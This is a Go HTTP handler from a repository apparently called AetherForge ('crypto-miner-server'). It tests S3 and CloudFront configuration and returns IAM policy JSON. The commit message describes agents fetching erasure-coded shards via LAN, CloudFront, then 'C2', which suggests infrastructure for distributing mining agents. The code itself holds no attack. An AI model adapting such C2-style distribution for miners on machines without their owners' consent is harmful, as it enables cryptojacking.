Files
AetherForge/server/internal/api/erasure_swarm.go
AetherForge 0795c511ab
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add S3 erasure swarm with CloudFront signed magnets.
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
2026-06-07 10:05:21 -07:00

96 lines
2.9 KiB
Go

package api
import (
"encoding/json"
"net/http"
"strings"
"crypto-miner-server/internal/erasure"
)
type ErasureSwarmHandler struct {
awsSettings func() erasure.AWSSwarmSettings
objectStore func() erasure.ShardObjectStore
}
func NewErasureSwarmHandler(awsSettings func() erasure.AWSSwarmSettings, objectStore func() erasure.ShardObjectStore) *ErasureSwarmHandler {
return &ErasureSwarmHandler{awsSettings: awsSettings, objectStore: objectStore}
}
type erasureSwarmTestResponse struct {
OK bool `json:"ok"`
CredentialsReady bool `json:"credentials_ready"`
SigningReady bool `json:"signing_ready"`
Error string `json:"error,omitempty"`
S3Bucket string `json:"s3_bucket,omitempty"`
CloudFrontDomain string `json:"cloudfront_domain,omitempty"`
}
func (h *ErasureSwarmHandler) PostTest(w http.ResponseWriter, r *http.Request) {
cfg := h.cfg(r)
resp := erasureSwarmTestResponse{S3Bucket: cfg.S3Bucket, CloudFrontDomain: cfg.CloudFrontDomain, CredentialsReady: cfg.CredentialsReady(), SigningReady: cfg.SigningReady()}
if !cfg.Enabled() {
resp.Error = "set aws_s3_shard_bucket and aws_cloudfront_domain"
writeJSON(w, resp)
return
}
if !cfg.CredentialsReady() {
resp.Error = "set AF_AWS_ACCESS_KEY_ID and AF_AWS_SECRET_ACCESS_KEY"
writeJSON(w, resp)
return
}
if err := h.store().HeadBucket(r.Context(), cfg.S3Bucket); err != nil {
resp.Error = err.Error()
writeJSON(w, resp)
return
}
resp.OK = true
writeJSON(w, resp)
}
func (h *ErasureSwarmHandler) GetPolicyJSON(w http.ResponseWriter, r *http.Request) {
cfg := h.cfg(r)
bucket := strings.TrimSpace(r.URL.Query().Get("bucket"))
if bucket == "" {
bucket = cfg.S3Bucket
}
writeJSON(w, map[string]interface{}{
"iam_policy": erasure.MinimalIAMPolicyJSON(bucket),
"bucket_policy": erasure.MinimalBucketPolicyJSON(bucket, r.URL.Query().Get("cloudfront_arn")),
"env_keys": []string{"AF_AWS_ACCESS_KEY_ID", "AF_AWS_SECRET_ACCESS_KEY", "AF_AWS_REGION", "AF_CLOUDFRONT_KEY_PAIR_ID", "AF_CLOUDFRONT_PRIVATE_KEY"},
})
}
func (h *ErasureSwarmHandler) cfg(r *http.Request) erasure.AWSSwarmSettings {
cfg := erasure.AWSSwarmSettings{}
if h != nil && h.awsSettings != nil {
cfg = h.awsSettings()
}
if r != nil && r.Method == http.MethodPost {
var body struct {
S3Bucket string `json:"s3_bucket"`
CloudFrontDomain string `json:"cloudfront_domain"`
}
if json.NewDecoder(r.Body).Decode(&body) == nil {
if v := strings.TrimSpace(body.S3Bucket); v != "" {
cfg.S3Bucket = v
}
if v := strings.TrimSpace(body.CloudFrontDomain); v != "" {
cfg.CloudFrontDomain = v
}
}
}
return erasure.HydrateAWSSwarmFromEnv(cfg)
}
func (h *ErasureSwarmHandler) store() erasure.ShardObjectStore {
if h != nil && h.objectStore != nil {
return h.objectStore()
}
cfg := erasure.AWSSwarmSettings{}
if h != nil && h.awsSettings != nil {
cfg = erasure.HydrateAWSSwarmFromEnv(h.awsSettings())
}
return &erasure.S3HTTPStore{Settings: cfg}
}